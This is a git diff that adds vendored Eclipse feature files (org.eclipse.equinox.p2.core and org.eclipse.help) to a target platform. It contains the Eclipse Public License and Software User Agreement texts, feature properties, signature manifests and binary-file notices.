    EXCEPT AS EXPRESSLY SET FORTH IN THIS AGREEMENT, THE PROGRAM IS +PROVIDED ON AN "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS +OF ANY KIND, EITHER EXPRESS OR IMPLIED INCLUDING, WITHOUT LIMITATION, +ANY WARRANTIES OR CONDITIONS OF TITLE, NON-INFRINGEMENT, MERCHANTABILITY +OR FITNESS FOR A PARTICULAR PURPOSE. Each Recipient is solely +responsible for determining the appropriateness of using and +distributing the Program and assumes all risks associated with its +exercise of rights under this Agreement , including but not limited to +the risks and costs of program errors, compliance with applicable laws, +damage to or loss of data, programs or equipment, and unavailability or +interruption of operations.

    + +

    6. DISCLAIMER OF LIABILITY

    + +

    EXCEPT AS EXPRESSLY SET FORTH IN THIS AGREEMENT, NEITHER RECIPIENT +NOR ANY CONTRIBUTORS SHALL HAVE ANY LIABILITY FOR ANY DIRECT, INDIRECT, +INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING +WITHOUT LIMITATION LOST PROFITS), HOWEVER CAUSED AND ON ANY THEORY OF +LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING +NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OR +DISTRIBUTION OF THE PROGRAM OR THE EXERCISE OF ANY RIGHTS GRANTED +HEREUNDER, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.

    + +

    7. GENERAL

    + +

    If any provision of this Agreement is invalid or unenforceable under +applicable law, it shall not affect the validity or enforceability of +the remainder of the terms of this Agreement, and without further action +by the parties hereto, such provision shall be reformed to the minimum +extent necessary to make such provision valid and enforceable.

    + +

    If Recipient institutes patent litigation against any entity +(including a cross-claim or counterclaim in a lawsuit) alleging that the +Program itself (excluding combinations of the Program with other +software or hardware) infringes such Recipient's patent(s), then such +Recipient's rights granted under Section 2(b) shall terminate as of the +date such litigation is filed.

    + +

    All Recipient's rights under this Agreement shall terminate if it +fails to comply with any of the material terms or conditions of this +Agreement and does not cure such failure in a reasonable period of time +after becoming aware of such noncompliance. If all Recipient's rights +under this Agreement terminate, Recipient agrees to cease use and +distribution of the Program as soon as reasonably practicable. However, +Recipient's obligations under this Agreement and any licenses granted by +Recipient relating to the Program shall continue and survive.

    + +

    Everyone is permitted to copy and distribute copies of this +Agreement, but in order to avoid inconsistency the Agreement is +copyrighted and may only be modified in the following manner. The +Agreement Steward reserves the right to publish new versions (including +revisions) of this Agreement from time to time. No one other than the +Agreement Steward has the right to modify this Agreement. The Eclipse +Foundation is the initial Agreement Steward. The Eclipse Foundation may +assign the responsibility to serve as the Agreement Steward to a +suitable separate entity. Each new version of the Agreement will be +given a distinguishing version number. The Program (including +Contributions) may always be distributed subject to the version of the +Agreement under which it was received. In addition, after a new version +of the Agreement is published, Contributor may elect to distribute the +Program (including its Contributions) under the new version. Except as +expressly stated in Sections 2(a) and 2(b) above, Recipient receives no +rights or licenses to the intellectual property of any Contributor under +this Agreement, whether expressly, by implication, estoppel or +otherwise. All rights in the Program not expressly granted under this +Agreement are reserved.

    + +

    This Agreement is governed by the laws of the State of New York and +the intellectual property laws of the United States of America. No party +to this Agreement will bring a legal action under this Agreement more +than one year after the cause of action arose. Each party waives its +rights to a jury trial in any resulting litigation.

    + + + + diff --git a/targetPlatform/features/org.eclipse.equinox.p2.core.feature_1.0.1.v20110906-1605-8290FZ9FVKHVRKtmx3fpNuo02129/feature.properties b/targetPlatform/features/org.eclipse.equinox.p2.core.feature_1.0.1.v20110906-1605-8290FZ9FVKHVRKtmx3fpNuo02129/feature.properties new file mode 100755 index 0000000..35a39f0 --- /dev/null +++ b/targetPlatform/features/org.eclipse.equinox.p2.core.feature_1.0.1.v20110906-1605-8290FZ9FVKHVRKtmx3fpNuo02129/feature.properties @@ -0,0 +1,194 @@ +############################################################################### +# Copyright (c) 2010, 2011 EclipseSource Inc. and others. +# All rights reserved. This program and the accompanying materials +# are made available under the terms of the Eclipse Public License v1.0 +# which accompanies this distribution, and is available at +# http://www.eclipse.org/legal/epl-v10.html +# +# Contributors: +# EclipseSource - initial API and implementation +############################################################################### +# feature.properties +# contains externalized strings for feature.xml +# "%foo" in feature.xml corresponds to the key "foo" in this file +# java.io.Properties file (ISO 8859-1 with "\" escapes) +# This file should be translated. + +# "featureName" property - name of the feature +featureName=Equinox p2 Core Function + +# "providerName" property - name of the company that provides the feature +providerName=Eclipse.org - Equinox + +description=Provides a minimal headless provisioning system. + +# "copyright" property - text of the "Feature Update Copyright" +copyright=\ +Copyright (c) 2010 EclipseSource Inc. and others.\n\ +All rights reserved. This program and the accompanying materials\n\ +are made available under the terms of the Eclipse Public License v1.0\n\ +which accompanies this distribution, and is available at\n\ +http://www.eclipse.org/legal/epl-v10.html\n\ +\n\ +Contributors:\n\ + EclipseSource - initial API and implementation\n +################ end of copyright property #################################### +############################################################################### +# Copyright (c) 2000, 2010 IBM Corporation and others. +# All rights reserved. This program and the accompanying materials +# are made available under the terms of the Eclipse Public License v1.0 +# which accompanies this distribution, and is available at +# http://www.eclipse.org/legal/epl-v10.html +# +# Contributors: +# IBM Corporation - initial API and implementation +############################################################################### +# feature.properties +# contains externalized strings for feature.xml +# "%foo" in feature.xml corresponds to the key "foo" in this file +# java.io.Properties file (ISO 8859-1 with "\" escapes) +# This file should be translated. + +# "featureName" property - name of the feature + +# "providerName" property - name of the company that provides the feature + +# "updateSiteName" property - label for the update site + +# "description" property - description of the feature + +# "copyright" property - text of the "Feature Update Copyright" + +################ end of copyright property #################################### + +# "licenseURL" property - URL of the "Feature License" +# do not translate value - just change to point to a locale-specific HTML page +licenseURL=license.html + +# "license" property - text of the "Feature Update License" +# should be plain text version of license agreement pointed to be "licenseURL" +license=\ +Eclipse Foundation Software User Agreement\n\ +February 1, 2011\n\ +\n\ +Usage Of Content\n\ +\n\ +THE ECLIPSE FOUNDATION MAKES AVAILABLE SOFTWARE, DOCUMENTATION, INFORMATION AND/OR\n\ +OTHER MATERIALS FOR OPEN SOURCE PROJECTS (COLLECTIVELY "CONTENT").\n\ +USE OF THE CONTENT IS GOVERNED BY THE TERMS AND CONDITIONS OF THIS\n\ +AGREEMENT AND/OR THE TERMS AND CONDITIONS OF LICENSE AGREEMENTS OR\n\ +NOTICES INDICATED OR REFERENCED BELOW. BY USING THE CONTENT, YOU\n\ +AGREE THAT YOUR USE OF THE CONTENT IS GOVERNED BY THIS AGREEMENT\n\ +AND/OR THE TERMS AND CONDITIONS OF ANY APPLICABLE LICENSE AGREEMENTS\n\ +OR NOTICES INDICATED OR REFERENCED BELOW. IF YOU DO NOT AGREE TO THE\n\ +TERMS AND CONDITIONS OF THIS AGREEMENT AND THE TERMS AND CONDITIONS\n\ +OF ANY APPLICABLE LICENSE AGREEMENTS OR NOTICES INDICATED OR REFERENCED\n\ +BELOW, THEN YOU MAY NOT USE THE CONTENT.\n\ +\n\ +Applicable Licenses\n\ +\n\ +Unless otherwise indicated, all Content made available by the\n\ +Eclipse Foundation is provided to you under the terms and conditions of\n\ +the Eclipse Public License Version 1.0 ("EPL"). A copy of the EPL is\n\ +provided with this Content and is also available at http://www.eclipse.org/legal/epl-v10.html.\n\ +For purposes of the EPL, "Program" will mean the Content.\n\ +\n\ +Content includes, but is not limited to, source code, object code,\n\ +documentation and other files maintained in the Eclipse Foundation source code\n\ +repository ("Repository") in software modules ("Modules") and made available\n\ +as downloadable archives ("Downloads").\n\ +\n\ + - Content may be structured and packaged into modules to facilitate delivering,\n\ + extending, and upgrading the Content. Typical modules may include plug-ins ("Plug-ins"),\n\ + plug-in fragments ("Fragments"), and features ("Features").\n\ + - Each Plug-in or Fragment may be packaged as a sub-directory or JAR (Java(TM) ARchive)\n\ + in a directory named "plugins".\n\ + - A Feature is a bundle of one or more Plug-ins and/or Fragments and associated material.\n\ + Each Feature may be packaged as a sub-directory in a directory named "features".\n\ + Within a Feature, files named "feature.xml" may contain a list of the names and version\n\ + numbers of the Plug-ins and/or Fragments associated with that Feature.\n\ + - Features may also include other Features ("Included Features"). Within a Feature, files\n\ + named "feature.xml" may contain a list of the names and version numbers of Included Features.\n\ +\n\ +The terms and conditions governing Plug-ins and Fragments should be\n\ +contained in files named "about.html" ("Abouts"). The terms and\n\ +conditions governing Features and Included Features should be contained\n\ +in files named "license.html" ("Feature Licenses"). Abouts and Feature\n\ +Licenses may be located in any directory of a Download or Module\n\ +including, but not limited to the following locations:\n\ +\n\ + - The top-level (root) directory\n\ + - Plug-in and Fragment directories\n\ + - Inside Plug-ins and Fragments packaged as JARs\n\ + - Sub-directories of the directory named "src" of certain Plug-ins\n\ + - Feature directories\n\ +\n\ +Note: if a Feature made available by the Eclipse Foundation is installed using the\n\ +Provisioning Technology (as defined below), you must agree to a license ("Feature \n\ +Update License") during the installation process. If the Feature contains\n\ +Included Features, the Feature Update License should either provide you\n\ +with the terms and conditions governing the Included Features or inform\n\ +you where you can locate them. Feature Update Licenses may be found in\n\ +the "license" property of files named "feature.properties" found within a Feature.\n\ +Such Abouts, Feature Licenses, and Feature Update Licenses contain the\n\ +terms and conditions (or references to such terms and conditions) that\n\ +govern your use of the associated Content in that directory.\n\ +\n\ +THE ABOUTS, FEATURE LICENSES, AND FEATURE UPDATE LICENSES MAY REFER\n\ +TO THE EPL OR OTHER LICENSE AGREEMENTS, NOTICES OR TERMS AND CONDITIONS.\n\ +SOME OF THESE OTHER LICENSE AGREEMENTS MAY INCLUDE (BUT ARE NOT LIMITED TO):\n\ +\n\ + - Eclipse Distribution License Version 1.0 (available at http://www.eclipse.org/licenses/edl-v1.0.html)\n\ + - Common Public License Version 1.0 (available at http://www.eclipse.org/legal/cpl-v10.html)\n\ + - Apache Software License 1.1 (available at http://www.apache.org/licenses/LICENSE)\n\ + - Apache Software License 2.0 (available at http://www.apache.org/licenses/LICENSE-2.0)\n\ + - Metro Link Public License 1.00 (available at http://www.opengroup.org/openmotif/supporters/metrolink/license.html)\n\ + - Mozilla Public License Version 1.1 (available at http://www.mozilla.org/MPL/MPL-1.1.html)\n\ +\n\ +IT IS YOUR OBLIGATION TO READ AND ACCEPT ALL SUCH TERMS AND CONDITIONS PRIOR\n\ +TO USE OF THE CONTENT. If no About, Feature License, or Feature Update License\n\ +is provided, please contact the Eclipse Foundation to determine what terms and conditions\n\ +govern that particular Content.\n\ +\n\ +\n\Use of Provisioning Technology\n\ +\n\ +The Eclipse Foundation makes available provisioning software, examples of which include,\n\ +but are not limited to, p2 and the Eclipse Update Manager ("Provisioning Technology") for\n\ +the purpose of allowing users to install software, documentation, information and/or\n\ +other materials (collectively "Installable Software"). This capability is provided with\n\ +the intent of allowing such users to install, extend and update Eclipse-based products.\n\ +Information about packaging Installable Software is available at\n\ +http://eclipse.org/equinox/p2/repository_packaging.html ("Specification").\n\ +\n\ +You may use Provisioning Technology to allow other parties to install Installable Software.\n\ +You shall be responsible for enabling the applicable license agreements relating to the\n\ +Installable Software to be presented to, and accepted by, the users of the Provisioning Technology\n\ +in accordance with the Specification. By using Provisioning Technology in such a manner and\n\ +making it available in accordance with the Specification, you further acknowledge your\n\ +agreement to, and the acquisition of all necessary rights to permit the following:\n\ +\n\ + 1. A series of actions may occur ("Provisioning Process") in which a user may execute\n\ + the Provisioning Technology on a machine ("Target Machine") with the intent of installing,\n\ + extending or updating the functionality of an Eclipse-based product.\n\ + 2. During the Provisioning Process, the Provisioning Technology may cause third party\n\ + Installable Software or a portion thereof to be accessed and copied to the Target Machine.\n\ + 3. Pursuant to the Specification, you will provide to the user the terms and conditions that\n\ + govern the use of the Installable Software ("Installable Software Agreement") and such\n\ + Installable Software Agreement shall be accessed from the Target Machine in accordance\n\ + with the Specification. Such Installable Software Agreement must inform the user of the\n\ + terms and conditions that govern the Installable Software and must solicit acceptance by\n\ + the end user in the manner prescribed in such Installable Software Agreement. Upon such\n\ + indication of agreement by the user, the provisioning Technology will complete installation\n\ + of the Installable Software.\n\ +\n\ +Cryptography\n\ +\n\ +Content may contain encryption software. The country in which you are\n\ +currently may have restrictions on the import, possession, and use,\n\ +and/or re-export to another country, of encryption software. BEFORE\n\ +using any encryption software, please check the country's laws,\n\ +regulations and policies concerning the import, possession, or use, and\n\ +re-export of encryption software, to see if this is permitted.\n\ +\n\ +Java and all Java-based trademarks are trademarks of Oracle Corporation in the United States, other countries, or both.\n +########### end of license property ########################################## diff --git a/targetPlatform/features/org.eclipse.equinox.p2.core.feature_1.0.1.v20110906-1605-8290FZ9FVKHVRKtmx3fpNuo02129/feature.xml b/targetPlatform/features/org.eclipse.equinox.p2.core.feature_1.0.1.v20110906-1605-8290FZ9FVKHVRKtmx3fpNuo02129/feature.xml new file mode 100755 index 0000000..0c0316e --- /dev/null +++ b/targetPlatform/features/org.eclipse.equinox.p2.core.feature_1.0.1.v20110906-1605-8290FZ9FVKHVRKtmx3fpNuo02129/feature.xml @@ -0,0 +1,286 @@ + + + + + %description + + + + %copyright + + + + %license + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/targetPlatform/features/org.eclipse.equinox.p2.core.feature_1.0.1.v20110906-1605-8290FZ9FVKHVRKtmx3fpNuo02129/license.html b/targetPlatform/features/org.eclipse.equinox.p2.core.feature_1.0.1.v20110906-1605-8290FZ9FVKHVRKtmx3fpNuo02129/license.html new file mode 100755 index 0000000..f19c483 --- /dev/null +++ b/targetPlatform/features/org.eclipse.equinox.p2.core.feature_1.0.1.v20110906-1605-8290FZ9FVKHVRKtmx3fpNuo02129/license.html @@ -0,0 +1,108 @@ + + + + + +Eclipse Foundation Software User Agreement + + + +

    Eclipse Foundation Software User Agreement

    +

    February 1, 2011

    + +

    Usage Of Content

    + +

    THE ECLIPSE FOUNDATION MAKES AVAILABLE SOFTWARE, DOCUMENTATION, INFORMATION AND/OR OTHER MATERIALS FOR OPEN SOURCE PROJECTS + (COLLECTIVELY "CONTENT"). USE OF THE CONTENT IS GOVERNED BY THE TERMS AND CONDITIONS OF THIS AGREEMENT AND/OR THE TERMS AND + CONDITIONS OF LICENSE AGREEMENTS OR NOTICES INDICATED OR REFERENCED BELOW. BY USING THE CONTENT, YOU AGREE THAT YOUR USE + OF THE CONTENT IS GOVERNED BY THIS AGREEMENT AND/OR THE TERMS AND CONDITIONS OF ANY APPLICABLE LICENSE AGREEMENTS OR + NOTICES INDICATED OR REFERENCED BELOW. IF YOU DO NOT AGREE TO THE TERMS AND CONDITIONS OF THIS AGREEMENT AND THE TERMS AND + CONDITIONS OF ANY APPLICABLE LICENSE AGREEMENTS OR NOTICES INDICATED OR REFERENCED BELOW, THEN YOU MAY NOT USE THE CONTENT.

    + +

    Applicable Licenses

    + +

    Unless otherwise indicated, all Content made available by the Eclipse Foundation is provided to you under the terms and conditions of the Eclipse Public License Version 1.0 + ("EPL"). A copy of the EPL is provided with this Content and is also available at http://www.eclipse.org/legal/epl-v10.html. + For purposes of the EPL, "Program" will mean the Content.

    + +

    Content includes, but is not limited to, source code, object code, documentation and other files maintained in the Eclipse Foundation source code + repository ("Repository") in software modules ("Modules") and made available as downloadable archives ("Downloads").

    + +
      +
    • Content may be structured and packaged into modules to facilitate delivering, extending, and upgrading the Content. Typical modules may include plug-ins ("Plug-ins"), plug-in fragments ("Fragments"), and features ("Features").
    • +
    • Each Plug-in or Fragment may be packaged as a sub-directory or JAR (Java™ ARchive) in a directory named "plugins".
    • +
    • A Feature is a bundle of one or more Plug-ins and/or Fragments and associated material. Each Feature may be packaged as a sub-directory in a directory named "features". Within a Feature, files named "feature.xml" may contain a list of the names and version numbers of the Plug-ins + and/or Fragments associated with that Feature.
    • +
    • Features may also include other Features ("Included Features"). Within a Feature, files named "feature.xml" may contain a list of the names and version numbers of Included Features.
    • +
    + +

    The terms and conditions governing Plug-ins and Fragments should be contained in files named "about.html" ("Abouts"). The terms and conditions governing Features and +Included Features should be contained in files named "license.html" ("Feature Licenses"). Abouts and Feature Licenses may be located in any directory of a Download or Module +including, but not limited to the following locations:

    + +
      +
    • The top-level (root) directory
    • +
    • Plug-in and Fragment directories
    • +
    • Inside Plug-ins and Fragments packaged as JARs
    • +
    • Sub-directories of the directory named "src" of certain Plug-ins
    • +
    • Feature directories
    • +
    + +

    Note: if a Feature made available by the Eclipse Foundation is installed using the Provisioning Technology (as defined below), you must agree to a license ("Feature Update License") during the +installation process. If the Feature contains Included Features, the Feature Update License should either provide you with the terms and conditions governing the Included Features or +inform you where you can locate them. Feature Update Licenses may be found in the "license" property of files named "feature.properties" found within a Feature. +Such Abouts, Feature Licenses, and Feature Update Licenses contain the terms and conditions (or references to such terms and conditions) that govern your use of the associated Content in +that directory.

    + +

    THE ABOUTS, FEATURE LICENSES, AND FEATURE UPDATE LICENSES MAY REFER TO THE EPL OR OTHER LICENSE AGREEMENTS, NOTICES OR TERMS AND CONDITIONS. SOME OF THESE +OTHER LICENSE AGREEMENTS MAY INCLUDE (BUT ARE NOT LIMITED TO):

    + + + +

    IT IS YOUR OBLIGATION TO READ AND ACCEPT ALL SUCH TERMS AND CONDITIONS PRIOR TO USE OF THE CONTENT. If no About, Feature License, or Feature Update License is provided, please +contact the Eclipse Foundation to determine what terms and conditions govern that particular Content.

    + + +

    Use of Provisioning Technology

    + +

    The Eclipse Foundation makes available provisioning software, examples of which include, but are not limited to, p2 and the Eclipse + Update Manager ("Provisioning Technology") for the purpose of allowing users to install software, documentation, information and/or + other materials (collectively "Installable Software"). This capability is provided with the intent of allowing such users to + install, extend and update Eclipse-based products. Information about packaging Installable Software is available at http://eclipse.org/equinox/p2/repository_packaging.html + ("Specification").

    + +

    You may use Provisioning Technology to allow other parties to install Installable Software. You shall be responsible for enabling the + applicable license agreements relating to the Installable Software to be presented to, and accepted by, the users of the Provisioning Technology + in accordance with the Specification. By using Provisioning Technology in such a manner and making it available in accordance with the + Specification, you further acknowledge your agreement to, and the acquisition of all necessary rights to permit the following:

    + +
      +
    1. A series of actions may occur ("Provisioning Process") in which a user may execute the Provisioning Technology + on a machine ("Target Machine") with the intent of installing, extending or updating the functionality of an Eclipse-based + product.
    2. +
    3. During the Provisioning Process, the Provisioning Technology may cause third party Installable Software or a portion thereof to be + accessed and copied to the Target Machine.
    4. +
    5. Pursuant to the Specification, you will provide to the user the terms and conditions that govern the use of the Installable + Software ("Installable Software Agreement") and such Installable Software Agreement shall be accessed from the Target + Machine in accordance with the Specification. Such Installable Software Agreement must inform the user of the terms and conditions that govern + the Installable Software and must solicit acceptance by the end user in the manner prescribed in such Installable Software Agreement. Upon such + indication of agreement by the user, the provisioning Technology will complete installation of the Installable Software.
    6. +
    + +

    Cryptography

    + +

    Content may contain encryption software. The country in which you are currently may have restrictions on the import, possession, and use, and/or re-export to + another country, of encryption software. BEFORE using any encryption software, please check the country's laws, regulations and policies concerning the import, + possession, or use, and re-export of encryption software, to see if this is permitted.

    + +

    Java and all Java-based trademarks are trademarks of Oracle Corporation in the United States, other countries, or both.

    + + diff --git a/targetPlatform/features/org.eclipse.help_1.3.0.v20110530-0844-7i7uFFmFFl8nvqbDpEqTvx/META-INF/ECLIPSEF.RSA b/targetPlatform/features/org.eclipse.help_1.3.0.v20110530-0844-7i7uFFmFFl8nvqbDpEqTvx/META-INF/ECLIPSEF.RSA new file mode 100755 index 0000000..0056bc9 Binary files /dev/null and b/targetPlatform/features/org.eclipse.help_1.3.0.v20110530-0844-7i7uFFmFFl8nvqbDpEqTvx/META-INF/ECLIPSEF.RSA differ diff --git a/targetPlatform/features/org.eclipse.help_1.3.0.v20110530-0844-7i7uFFmFFl8nvqbDpEqTvx/META-INF/ECLIPSEF.SF b/targetPlatform/features/org.eclipse.help_1.3.0.v20110530-0844-7i7uFFmFFl8nvqbDpEqTvx/META-INF/ECLIPSEF.SF new file mode 100755 index 0000000..4275a02 --- /dev/null +++ b/targetPlatform/features/org.eclipse.help_1.3.0.v20110530-0844-7i7uFFmFFl8nvqbDpEqTvx/META-INF/ECLIPSEF.SF @@ -0,0 +1,23 @@ +Signature-Version: 1.0 +SHA1-Digest-Manifest: 7Gvvg13QVjZf8TR/PiKo9XMwtA0= +Created-By: 1.6.0 (IBM Corporation) +SHA1-Digest-Manifest-Main-Attributes: 4gIfTP5y3EzwI5ecyebQLugBMgo= + +Name: epl-v10.html +SHA1-Digest: /iY8aEvT0IMpNnSjB0FpTUhvUGc= + +Name: eclipse_update_120.jpg +SHA1-Digest: RyXo3knk5T635eCpQEPXyFBrCyA= + +Name: META-INF/eclipse.inf +SHA1-Digest: SAqY+5ITAL0mkdYeijlSRhyIaZk= + +Name: license.html +SHA1-Digest: Rp9AnRyeUIxNWe10fjaMDkQB8rU= + +Name: feature.properties +SHA1-Digest: FC/avaN9a7irUiWJicZdzJ6G9f0= + +Name: feature.xml +SHA1-Digest: 53SwJiAO8rKd8NL52DmijLMI/as= + diff --git a/targetPlatform/features/org.eclipse.help_1.3.0.v20110530-0844-7i7uFFmFFl8nvqbDpEqTvx/META-INF/MANIFEST.MF b/targetPlatform/features/org.eclipse.help_1.3.0.v20110530-0844-7i7uFFmFFl8nvqbDpEqTvx/META-INF/MANIFEST.MF new file mode 100755 index 0000000..92c2578 --- /dev/null +++ b/targetPlatform/features/org.eclipse.help_1.3.0.v20110530-0844-7i7uFFmFFl8nvqbDpEqTvx/META-INF/MANIFEST.MF @@ -0,0 +1,21 @@ +Manifest-Version: 1.0 +Created-By: 1.6.0 (IBM Corporation) + +Name: epl-v10.html +SHA1-Digest: jYDaDJLBJpthCwPMgGFVYASJjIU= + +Name: META-INF/eclipse.inf +SHA1-Digest: KyT9FF7C7t86NoBoa2kZT3ZJBfw= + +Name: eclipse_update_120.jpg +SHA1-Digest: xstAqMgs/a5AsQXQZSdDQ79veOA= + +Name: license.html +SHA1-Digest: /vLZjlHkZSXMSfPrWwNqOUDqqbM= + +Name: feature.properties +SHA1-Digest: DqFAU9UkPmuEiCuQe6wvxAI/EiI= + +Name: feature.xml +SHA1-Digest: Uw3yE80O75X8n1xzr+I+N1Xh3Es= + diff --git a/targetPlatform/features/org.eclipse.help_1.3.0.v20110530-0844-7i7uFFmFFl8nvqbDpEqTvx/META-INF/eclipse.inf b/targetPlatform/features/org.eclipse.help_1.3.0.v20110530-0844-7i7uFFmFFl8nvqbDpEqTvx/META-INF/eclipse.inf new file mode 100755 index 0000000..7864d3c --- /dev/null +++ b/targetPlatform/features/org.eclipse.help_1.3.0.v20110530-0844-7i7uFFmFFl8nvqbDpEqTvx/META-INF/eclipse.inf @@ -0,0 +1,3 @@ +#Processed using Jarprocessor +pack200.args = -E4 +pack200.conditioned = true diff --git a/targetPlatform/features/org.eclipse.help_1.3.0.v20110530-0844-7i7uFFmFFl8nvqbDpEqTvx/eclipse_update_120.jpg b/targetPlatform/features/org.eclipse.help_1.3.0.v20110530-0844-7i7uFFmFFl8nvqbDpEqTvx/eclipse_update_120.jpg new file mode 100755 index 0000000..bfdf708 Binary files /dev/null and b/targetPlatform/features/org.eclipse.help_1.3.0.v20110530-0844-7i7uFFmFFl8nvqbDpEqTvx/eclipse_update_120.jpg differ diff --git a/targetPlatform/features/org.eclipse.help_1.3.0.v20110530-0844-7i7uFFmFFl8nvqbDpEqTvx/epl-v10.html b/targetPlatform/features/org.eclipse.help_1.3.0.v20110530-0844-7i7uFFmFFl8nvqbDpEqTvx/epl-v10.html new file mode 100755 index 0000000..fd39122 --- /dev/null +++ b/targetPlatform/features/org.eclipse.help_1.3.0.v20110530-0844-7i7uFFmFFl8nvqbDpEqTvx/epl-v10.html @@ -0,0 +1,261 @@ + + + + + + +Eclipse Public License - Version 1.0 + + + + + + +

    Eclipse Public License - v 1.0

    + +

    THE ACCOMPANYING PROGRAM IS PROVIDED UNDER THE TERMS OF THIS ECLIPSE +PUBLIC LICENSE ("AGREEMENT"). ANY USE, REPRODUCTION OR +DISTRIBUTION OF THE PROGRAM CONSTITUTES RECIPIENT'S ACCEPTANCE OF THIS +AGREEMENT.

    + +

    1. DEFINITIONS

    + +

    "Contribution" means:

    + +

    a) in the case of the initial Contributor, the initial +code and documentation distributed under this Agreement, and

    +

    b) in the case of each subsequent Contributor:

    +

    i) changes to the Program, and

    +

    ii) additions to the Program;

    +

    where such changes and/or additions to the Program +originate from and are distributed by that particular Contributor. A +Contribution 'originates' from a Contributor if it was added to the +Program by such Contributor itself or anyone acting on such +Contributor's behalf. Contributions do not include additions to the +Program which: (i) are separate modules of software distributed in +conjunction with the Program under their own license agreement, and (ii) +are not derivative works of the Program.

    + +

    "Contributor" means any person or entity that distributes +the Program.

    + +

    "Licensed Patents" mean patent claims licensable by a +Contributor which are necessarily infringed by the use or sale of its +Contribution alone or when combined with the Program.

    + +

    "Program" means the Contributions distributed in accordance +with this Agreement.

    + +

    "Recipient" means anyone who receives the Program under +this Agreement, including all Contributors.

    + +

    2. GRANT OF RIGHTS

    + +

    a) Subject to the terms of this Agreement, each +Contributor hereby grants Recipient a non-exclusive, worldwide, +royalty-free copyright license to reproduce, prepare derivative works +of, publicly display, publicly perform, distribute and sublicense the +Contribution of such Contributor, if any, and such derivative works, in +source code and object code form.

    + +

    b) Subject to the terms of this Agreement, each +Contributor hereby grants Recipient a non-exclusive, worldwide, +royalty-free patent license under Licensed Patents to make, use, sell, +offer to sell, import and otherwise transfer the Contribution of such +Contributor, if any, in source code and object code form. This patent +license shall apply to the combination of the Contribution and the +Program if, at the time the Contribution is added by the Contributor, +such addition of the Contribution causes such combination to be covered +by the Licensed Patents. The patent license shall not apply to any other +combinations which include the Contribution. No hardware per se is +licensed hereunder.

    + +

    c) Recipient understands that although each Contributor +grants the licenses to its Contributions set forth herein, no assurances +are provided by any Contributor that the Program does not infringe the +patent or other intellectual property rights of any other entity. Each +Contributor disclaims any liability to Recipient for claims brought by +any other entity based on infringement of intellectual property rights +or otherwise. As a condition to exercising the rights and licenses +granted hereunder, each Recipient hereby assumes sole responsibility to +secure any other intellectual property rights needed, if any. For +example, if a third party patent license is required to allow Recipient +to distribute the Program, it is Recipient's responsibility to acquire +that license before distributing the Program.

    + +

    d) Each Contributor represents that to its knowledge it +has sufficient copyright rights in its Contribution, if any, to grant +the copyright license set forth in this Agreement.

    + +

    3. REQUIREMENTS

    + +

    A Contributor may choose to distribute the Program in object code +form under its own license agreement, provided that:

    + +

    a) it complies with the terms and conditions of this +Agreement; and

    + +

    b) its license agreement:

    + +

    i) effectively disclaims on behalf of all Contributors +all warranties and conditions, express and implied, including warranties +or conditions of title and non-infringement, and implied warranties or +conditions of merchantability and fitness for a particular purpose;

    + +

    ii) effectively excludes on behalf of all Contributors +all liability for damages, including direct, indirect, special, +incidental and consequential damages, such as lost profits;

    + +

    iii) states that any provisions which differ from this +Agreement are offered by that Contributor alone and not by any other +party; and

    + +

    iv) states that source code for the Program is available +from such Contributor, and informs licensees how to obtain it in a +reasonable manner on or through a medium customarily used for software +exchange.

    + +

    When the Program is made available in source code form:

    + +

    a) it must be made available under this Agreement; and

    + +

    b) a copy of this Agreement must be included with each +copy of the Program.

    + +

    Contributors may not remove or alter any copyright notices contained +within the Program.

    + +

    Each Contributor must identify itself as the originator of its +Contribution, if any, in a manner that reasonably allows subsequent +Recipients to identify the originator of the Contribution.

    + +

    4. COMMERCIAL DISTRIBUTION

    + +

    Commercial distributors of software may accept certain +responsibilities with respect to end users, business partners and the +like. While this license is intended to facilitate the commercial use of +the Program, the Contributor who includes the Program in a commercial +product offering should do so in a manner which does not create +potential liability for other Contributors. Therefore, if a Contributor +includes the Program in a commercial product offering, such Contributor +("Commercial Contributor") hereby agrees to defend and +indemnify every other Contributor ("Indemnified Contributor") +against any losses, damages and costs (collectively "Losses") +arising from claims, lawsuits and other legal actions brought by a third +party against the Indemnified Contributor to the extent caused by the +acts or omissions of such Commercial Contributor in connection with its +distribution of the Program in a commercial product offering. The +obligations in this section do not apply to any claims or Losses +relating to any actual or alleged intellectual property infringement. In +order to qualify, an Indemnified Contributor must: a) promptly notify +the Commercial Contributor in writing of such claim, and b) allow the +Commercial Contributor to control, and cooperate with the Commercial +Contributor in, the defense and any related settlement negotiations. The +Indemnified Contributor may participate in any such claim at its own +expense.

    + +

    For example, a Contributor might include the Program in a commercial +product offering, Product X. That Contributor is then a Commercial +Contributor. If that Commercial Contributor then makes performance +claims, or offers warranties related to Product X, those performance +claims and warranties are such Commercial Contributor's responsibility +alone. Under this section, the Commercial Contributor would have to +defend claims against the other Contributors related to those +performance claims and warranties, and if a court requires any other +Contributor to pay any damages as a result, the Commercial Contributor +must pay those damages.

    + +

    5. NO WARRANTY

    + +

    EXCEPT AS EXPRESSLY SET FORTH IN THIS AGREEMENT, THE PROGRAM IS +PROVIDED ON AN "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS +OF ANY KIND, EITHER EXPRESS OR IMPLIED INCLUDING, WITHOUT LIMITATION, +ANY WARRANTIES OR CONDITIONS OF TITLE, NON-INFRINGEMENT, MERCHANTABILITY +OR FITNESS FOR A PARTICULAR PURPOSE. Each Recipient is solely +responsible for determining the appropriateness of using and +distributing the Program and assumes all risks associated with its +exercise of rights under this Agreement , including but not limited to +the risks and costs of program errors, compliance with applicable laws, +damage to or loss of data, programs or equipment, and unavailability or +interruption of operations.

    + +

    6. DISCLAIMER OF LIABILITY

    + +

